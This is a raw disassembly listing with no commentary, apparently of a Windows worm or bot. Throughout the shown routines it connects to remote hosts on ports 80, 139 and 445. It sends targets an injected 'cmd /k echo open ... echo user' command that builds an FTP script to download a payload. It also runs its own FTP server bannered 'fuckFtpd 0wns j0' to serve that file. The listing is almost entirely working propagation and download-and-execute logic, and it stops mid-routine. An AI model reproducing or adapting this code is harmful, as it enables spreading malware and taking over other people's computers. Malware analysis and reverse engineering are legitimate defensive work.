sub_403007 cmp [ebp-2Ch], eax pop ecx jnb short loc_403095 push edi push eax lea ecx, [ebp-38h] call sub_403645 loc_403095: ; CODE XREF: sub_403053+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_4031B2 mov ebx, [ebp+10h] loc_4030A4: ; CODE XREF: sub_403053+156j cmp dword ptr [ebp+10h], 3 jb short loc_4030AE push 3 jmp short loc_4030C0 ; --------------------------------------------------------------------------- loc_4030AE: ; CODE XREF: sub_403053+55j cmp dword ptr [ebp+10h], 2 jnz short loc_4030B8 push 2 jmp short loc_4030C0 ; --------------------------------------------------------------------------- loc_4030B8: ; CODE XREF: sub_403053+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4030C1 push 1 loc_4030C0: ; CODE XREF: sub_403053+59j ; sub_403053+63j pop ebx loc_4030C1: ; CODE XREF: sub_403053+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_41D248 fstp [esp+40h+var_40] call sub_41298B pop ecx pop ecx call sub_412964 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_403100 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_403100: ; CODE XREF: sub_403053+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40316E add [ebp-18h], eax loc_403152: ; CODE XREF: sub_403053+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4206EC[eax] push eax push 1 call sub_4034C7 inc esi cmp esi, [ebp-1Ch] jb short loc_403152 loc_40316E: ; CODE XREF: sub_403053+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40318C push dword ptr [ebp+14h] call sub_4126F0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_403520 mov [ebp-18h], edi loc_40318C: ; CODE XREF: sub_403053+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4031A6 sub esi, [ebp-1Ch] loc_403197: ; CODE XREF: sub_403053+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_4034C7 dec esi jnz short loc_403197 loc_4031A6: ; CODE XREF: sub_403053+13Fj cmp [ebp+10h], edi ja loc_4030A4 push 1 pop ebx loc_4031B2: ; CODE XREF: sub_403053+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_4036CA push dword_41D240 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_403577 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_4036CA mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_403053 endp ; =============== S U B R O U T I N E ======================================= sub_4031F5 proc near ; CODE XREF: sub_4032B0+14Ap mov eax, offset loc_41CB50 call sub_412E30 sub esp, 10h push ebx push esi push edi push offset byte_432708 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_403053 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41279F mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40323F xor bl, bl jmp short loc_403283 ; --------------------------------------------------------------------------- loc_40323F: ; CODE XREF: sub_4031F5+44j mov ecx, [ebp-18h] mov eax, offset dword_41D250 cmp ecx, ebx jnz short loc_40324D mov ecx, eax loc_40324D: ; CODE XREF: sub_4031F5+54j cmp [ebp+18h], ebx jz short loc_403255 mov eax, [ebp+18h] loc_403255: ; CODE XREF: sub_4031F5+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41246A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_433B18 ; send cmp eax, esi jz short loc_40327A xor bl, bl jmp short loc_40327C ; --------------------------------------------------------------------------- loc_40327A: ; CODE XREF: sub_4031F5+7Fj mov bl, 1 loc_40327C: ; CODE XREF: sub_4031F5+83j push edi call sub_412813 pop ecx loc_403283: ; CODE XREF: sub_4031F5+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_4036CA mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4031F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032B0 proc near ; CODE XREF: sub_405DDD+1E6p ; DATA XREF: .nsp0:off_422884o var_624 = byte ptr -624h var_424 = byte ptr -424h var_423 = byte ptr -423h var_395 = byte ptr -395h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 624h and [ebp+var_424], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_423] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_424] push offset sub_420898 push eax call sub_411FD0 add esp, 0Ch mov eax, offset byte_425BC0 push eax push eax push dword_432710 push [ebp+arg_0] call sub_408045 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_395] push 400h push eax call sub_41246A add eax, 90h push eax lea eax, [ebp+var_424] push eax push 164h lea eax, [ebp+var_24] push offset sub_420730 push eax call sub_402AB1 mov ecx, [eax] xor esi, esi mov [ebp+var_8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp+var_4], eax jnz short loc_403356 xor eax, eax jmp loc_4034BA ; --------------------------------------------------------------------------- loc_403356: ; CODE XREF: sub_4032B0+9Dj mov [ebp+var_C], esi loc_403359: ; CODE XREF: sub_4032B0+1A9j test esi, esi jnz loc_40345F push 6 push 1 push 2 call dword_41D1D8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403447 xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call dword_433AC8 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call dword_433B08 ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call dword_433A70 ; connect cmp eax, 0FFFFFFFFh jz loc_40343C cmp [ebp+arg_A0], 50h jnz short loc_403404 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_4036CA lea eax, [ebp+arg_4] push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_403706 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4031F5 add esp, 1Ch jmp short loc_403439 ; --------------------------------------------------------------------------- loc_403404: ; CODE XREF: sub_4032B0+112j cmp [ebp+arg_A0], 8Bh jnz short loc_40341E push [ebp+var_4] push [ebp+var_8] push ebx call sub_402FB5 jmp short loc_403436 ; --------------------------------------------------------------------------- loc_40341E: ; CODE XREF: sub_4032B0+15Ej cmp [ebp+arg_A0], 1BDh jnz short loc_40343C push [ebp+var_4] push [ebp+var_8] push ebx call sub_402EDB loc_403436: ; CODE XREF: sub_4032B0+16Cj add esp, 0Ch loc_403439: ; CODE XREF: sub_4032B0+152j movzx esi, al loc_40343C: ; CODE XREF: sub_4032B0+105j ; sub_4032B0+178j push ebx call dword_433B60 ; closesocket test esi, esi jnz short loc_403452 loc_403447: ; CODE XREF: sub_4032B0+C2j push 3E8h call dword_41D05C ; Sleep loc_403452: ; CODE XREF: sub_4032B0+195j inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_403359 loc_40345F: ; CODE XREF: sub_4032B0+ABj lea ecx, [ebp+var_8] call sub_4028D6 test esi, esi jz short loc_4034B8 lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aAsn1http ; "asn1http" push eax push offset dword_42095C lea eax, [ebp+var_624] push 200h push eax call sub_41246A lea eax, [ebp+var_624] push eax call sub_408E17 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_422888[eax] lea eax, dword_422888[eax] loc_4034B8: ; CODE XREF: sub_4032B0+1B9j mov eax, esi loc_4034BA: ; CODE XREF: sub_4032B0+A1j pop edi pop esi pop ebx leave retn sub_4032B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CB14 loc_4034BF: ; CODE XREF: sub_41CB14+3j ; .nsp0:0041CB2Dj ... push 1 call sub_4036CA retn ; END OF FUNCTION CHUNK FOR sub_41CB14 ; =============== S U B R O U T I N E ======================================= sub_4034C7 proc near ; CODE XREF: sub_403053+110p ; sub_403053+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_41D240 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4034E1 call sub_41C680 loc_4034E1: ; CODE XREF: sub_4034C7+13j test ebx, ebx jbe short loc_403518 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_403645 test al, al jz short loc_403518 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_411F70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_403518: ; CODE XREF: sub_4034C7+1Cj ; sub_4034C7+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4034C7 endp ; =============== S U B R O U T I N E ======================================= sub_403520 proc near ; CODE XREF: sub_403053+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_41D240 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40353A call sub_41C680 loc_40353A: ; CODE XREF: sub_403520+13j test ebx, ebx jbe short loc_40356F mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_403645 test al, al jz short loc_40356F mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_411FD0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40356F: ; CODE XREF: sub_403520+1Cj ; sub_403520+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_403520 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403577 proc near ; CODE XREF: sub_403053+17Cp ; sub_41C6DA+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40358F call sub_41C8AC loc_40358F: ; CODE XREF: sub_403577+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_4035A1 mov esi, [ebp+arg_8] loc_4035A1: ; CODE XREF: sub_403577+25j cmp edi, ebx jnz short loc_4035C3 push dword_41D240 add esi, ecx mov ecx, edi push esi call sub_40373B push [ebp+arg_4] mov ecx, edi push 0 call sub_40373B jmp short loc_40363C ; --------------------------------------------------------------------------- loc_4035C3: ; CODE XREF: sub_403577+2Cj test esi, esi jbe short loc_403606 cmp esi, eax jnz short loc_403606 mov eax, [ebx+4] test eax, eax jnz short loc_4035D7 mov eax, offset dword_41D250 loc_4035D7: ; CODE XREF: sub_403577+59j cmp byte ptr [eax-1], 0FEh jnb short loc_403606 push 1 mov ecx, edi call sub_4036CA mov eax, [ebx+4] test eax, eax jnz short loc_4035F2 mov eax, offset dword_41D250 loc_4035F2: ; CODE XREF: sub_403577+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40363C ; --------------------------------------------------------------------------- loc_403606: ; CODE XREF: sub_403577+4Ej ; sub_403577+52j ... push 1 push esi mov ecx, edi call sub_403645 test al, al jz short loc_40363C mov eax, [ebx+4] test eax, eax jnz short loc_403620 mov eax, offset dword_41D250 loc_403620: ; CODE XREF: sub_403577+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_411FD0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40363C: ; CODE XREF: sub_403577+4Aj ; sub_403577+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_403577 endp ; =============== S U B R O U T I N E ======================================= sub_403645 proc near ; CODE XREF: sub_403053+3Dp ; sub_4034C7+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_403657 call sub_41C680 loc_403657: ; CODE XREF: sub_403645+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_403680 mov al, [ecx-1] cmp al, dl jz short loc_403680 cmp al, 0FFh jz short loc_403680 cmp edi, edx jnz short loc_4036BB dec al push edx mov [ecx-1], al loc_403675: ; CODE XREF: sub_403645+47j mov ecx, esi call sub_4036CA loc_40367C: ; CODE XREF: sub_403645+4Bj ; sub_403645+52j xor al, al jmp short loc_4036C5 ; --------------------------------------------------------------------------- loc_403680: ; CODE XREF: sub_403645+19j ; sub_403645+20j ... cmp edi, edx jnz short loc_403699 cmp [esp+8+arg_4], dl jz short loc_40368E push 1 jmp short loc_403675 ; --------------------------------------------------------------------------- loc_40368E: ; CODE XREF: sub_403645+43j cmp ecx, edx jz short loc_40367C mov [esi+8], edx mov [ecx], dl jmp short loc_40367C ; --------------------------------------------------------------------------- loc_403699: ; CODE XREF: sub_403645+3Dj cmp [esp+8+arg_4], dl jz short loc_4036B6 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_4036AB cmp eax, edi jnb short loc_4036C3 loc_4036AB: ; CODE XREF: sub_403645+60j push 1 mov ecx, esi call sub_4036CA jmp short loc_4036BB ; --------------------------------------------------------------------------- loc_4036B6: ; CODE XREF: sub_403645+58j cmp [esi+0Ch], edi jnb short loc_4036C3 loc_4036BB: ; CODE XREF: sub_403645+28j ; sub_403645+6Fj push edi mov ecx, esi call sub_4037A2 loc_4036C3: ; CODE XREF: sub_403645+64j ; sub_403645+74j mov al, 1 loc_4036C5: ; CODE XREF: sub_403645+39j pop edi pop esi retn 8 sub_403645 endp ; =============== S U B R O U T I N E ======================================= sub_4036CA proc near ; CODE XREF: sub_403053+1Fp ; sub_403053+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4036F6 mov eax, [esi+4] test eax, eax jz short loc_4036F6 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_4036EF cmp al, 0FFh jz short loc_4036EF dec al mov [ecx], al jmp short loc_4036F6 ; --------------------------------------------------------------------------- loc_4036EF: ; CODE XREF: sub_4036CA+19j ; sub_4036CA+1Dj push ecx call sub_412E4F pop ecx loc_4036F6: ; CODE XREF: sub_4036CA+8j ; sub_4036CA+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_4036CA endp ; =============== S U B R O U T I N E ======================================= sub_403706 proc near ; CODE XREF: sub_4032B0+13Ep ; sub_40385F+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_403645 test al, al jz short loc_403734 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_411FD0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_403734: ; CODE XREF: sub_403706+12j mov eax, esi pop edi pop esi retn 8 sub_403706 endp ; =============== S U B R O U T I N E ======================================= sub_40373B proc near ; CODE XREF: sub_403577+39p ; sub_403577+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40374E call sub_41C8AC loc_40374E: ; CODE XREF: sub_40373B+Cj mov ecx, edi call sub_40385F mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_403764 mov ebx, eax loc_403764: ; CODE XREF: sub_40373B+25j test ebx, ebx jbe short loc_40379A mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_412E60 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_403645 test al, al jz short loc_40379A mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40379A: ; CODE XREF: sub_40373B+2Bj ; sub_40373B+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40373B endp ; =============== S U B R O U T I N E ======================================= sub_4037A2 proc near ; CODE XREF: sub_403645+79p mov eax, offset loc_41CB5C call sub_412E30 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_4037C8 mov edi, [ebp+8] loc_4037C8: ; CODE XREF: sub_4037A2+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_4037D5 xor eax, eax loc_4037D5: ; CODE XREF: sub_4037A2+2Fj push eax call sub_413195 pop ecx mov [ebp+8], eax jmp short loc_403806 ; --------------------------------------------------------------------------- loc_4037E1: ; DATA XREF: .nsp0:0041DF04o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_4037F0 xor eax, eax loc_4037F0: ; CODE XREF: sub_4037A2+4Aj push eax call sub_413195 mov [ebp+8], eax pop ecx mov eax, offset loc_403800 retn ; --------------------------------------------------------------------------- loc_403800: ; DATA XREF: sub_4037A2+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_403806: ; CODE XREF: sub_4037A2+3Dj mov eax, [esi+8] test eax, eax jbe short loc_403824 cmp eax, edi jbe short loc_403813 mov eax, edi loc_403813: ; CODE XREF: sub_4037A2+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_411FD0 add esp, 0Ch loc_403824: ; CODE XREF: sub_4037A2+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_4036CA mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_403844 mov edi, ebx loc_403844: ; CODE XREF: sub_4037A2+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_4037A2 endp ; =============== S U B R O U T I N E ======================================= sub_40385F proc near ; CODE XREF: sub_40373B+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40388C mov al, [esi-1] test al, al jz short loc_40388C cmp al, 0FFh jz short loc_40388C push 1 call sub_4036CA push esi call sub_4126F0 pop ecx push eax push esi mov ecx, edi call sub_403706 loc_40388C: ; CODE XREF: sub_40385F+9j ; sub_40385F+10j ... pop edi pop esi retn sub_40385F endp ; =============== S U B R O U T I N E ======================================= sub_40388F proc near ; DATA XREF: .nsp0:0041F004o test byte_462EAC, 1 jnz short loc_40389F or byte_462EAC, 1 loc_40389F: ; CODE XREF: sub_40388F+7j jmp $+5 push offset nullsub_1 call sub_413210 pop ecx retn sub_40388F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038B1 proc near ; CODE XREF: .nsp0:00403A30p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_41D1C4 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_41D1C8 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_41D1D8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40397F lea eax, [ebp+var_10] push 10h push eax push ebx call dword_41D1CC ; connect cmp eax, 0FFFFFFFFh jz short loc_40397F mov edi, 400h push esi mov esi, dword_41D1D0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; dword_41D1D0 mov eax, offset byte_425BC0 push eax push eax push dword_432710 push [ebp+arg_0] call sub_408045 pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41246A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_41D1DC ; send cmp eax, 0FFFFFFFFh jnz short loc_403983 loc_40397F: ; CODE XREF: sub_4038B1+50j ; sub_4038B1+62j xor eax, eax jmp short loc_40399A ; --------------------------------------------------------------------------- loc_403983: ; CODE XREF: sub_4038B1+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; dword_41D1D0 push ebx call dword_41D1D4 ; closesocket push 1 pop eax loc_40399A: ; CODE XREF: sub_4038B1+D0j pop edi pop esi pop ebx leave retn sub_4038B1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_433B08 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_433AC8 ; ntohs push 6 push 1 push 2 mov [ebp-0Eh], ax call dword_41D1D8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403A11 lea eax, [ebp-10h] push 10h push eax push esi call dword_41D1CC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4039F2 push esi jmp short loc_403A0B ; --------------------------------------------------------------------------- loc_4039F2: ; CODE XREF: .nsp0:004039EDj push 0 push 1213h push offset dword_4209D8 push esi call dword_41D1DC ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_403A15 loc_403A0B: ; CODE XREF: .nsp0:004039F0j call dword_41D1D4 ; closesocket loc_403A11: ; CODE XREF: .nsp0:004039DBj xor eax, eax jmp short loc_403A57 ; --------------------------------------------------------------------------- loc_403A15: ; CODE XREF: .nsp0:00403A09j call dword_41D1D4 ; closesocket push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_4038B1 add esp, 0C0h test eax, eax jz short loc_403A54 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_422888[eax] lea eax, dword_422888[eax] loc_403A54: ; CODE XREF: .nsp0:00403A3Dj push 1 pop eax loc_403A57: ; CODE XREF: .nsp0:00403A13j pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A5B proc near ; DATA XREF: .nsp0:00405AEEo var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call dword_41D1AC ; WSAStartup push edi call sub_4134A4 push eax call sub_411F40 push 0FA00h push 471h call sub_410D3D add esp, 10h mov dword_432710, eax push edi push ebx push 2 call dword_41D1D8 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_41D1B0 ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call dword_41D1B4 ; ioctlsocket mov ax, word ptr dword_432710 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_41D1C8 ; ntohs mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_41D1B8 ; bind test eax, eax jge short loc_403B30 mov eax, ebx jmp loc_404057 ; --------------------------------------------------------------------------- loc_403B30: ; CODE XREF: sub_403A5B+CCj push 0Ah push esi call dword_41D1BC ; listen mov [ebp+var_228], ebx mov ebx, dword_41D1DC mov [ebp+var_224], esi mov [ebp+var_4], esi loc_403B4E: ; CODE XREF: sub_403A5B+12Cj ; sub_403A5B+5F4j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_41D1E0 ; select cmp eax, 0FFFFFFFFh jz loc_404054 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_403B4E loc_403B89: ; CODE XREF: sub_403A5B+5EEj xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_411F70 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_411F70 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_41C9D6 ; __WSAFDIsSet test eax, eax jz loc_404042 cmp edi, [ebp+var_C] jnz short loc_403C40 lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call dword_41D1C0 ; accept cmp eax, 0FFFFFFFFh jz loc_404042 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_403C0A lea edx, [ebp+var_224] loc_403BFA: ; CODE XREF: sub_403A5B+1ADj cmp [edx], eax jz short loc_403C0A inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_403BFA loc_403C0A: ; CODE XREF: sub_403A5B+197j ; sub_403A5B+1A1j cmp ecx, [ebp+var_228] jnz short loc_403C28 cmp [ebp+var_228], 40h jnb short loc_403C28 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_403C28: ; CODE XREF: sub_403A5B+1B5j ; sub_403A5B+1BEj cmp eax, [ebp+var_4] jle short loc_403C30 mov [ebp+var_4], eax loc_403C30: ; CODE XREF: sub_403A5B+1D0j push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx ; dword_41D1DC jmp loc_404042 ; --------------------------------------------------------------------------- loc_403C40: ; CODE XREF: sub_403A5B+169j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_41D1D0 ; recv test eax, eax jg short loc_403CA7 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_403C9B lea eax, [ebp+var_224] loc_403C67: ; CODE XREF: sub_403A5B+216j cmp [eax], edi jz short loc_403C75 inc ecx add eax, 4 cmp ecx, edx jb short loc_403C67 jmp short loc_403C9B ; --------------------------------------------------------------------------- loc_403C75: ; CODE XREF: sub_403A5B+20Ej dec edx cmp ecx, edx jnb short loc_403C95 lea eax, [ebp+ecx*4+var_224] loc_403C81: ; CODE XREF: sub_403A5B+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_403C81 loc_403C95: ; CODE XREF: sub_403A5B+21Dj dec [ebp+var_228] loc_403C9B: ; CODE XREF: sub_403A5B+204j ; sub_403A5B+218j push edi call dword_41D1D4 ; closesocket jmp loc_404042 ; --------------------------------------------------------------------------- loc_403CA7: ; CODE XREF: sub_403A5B+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call 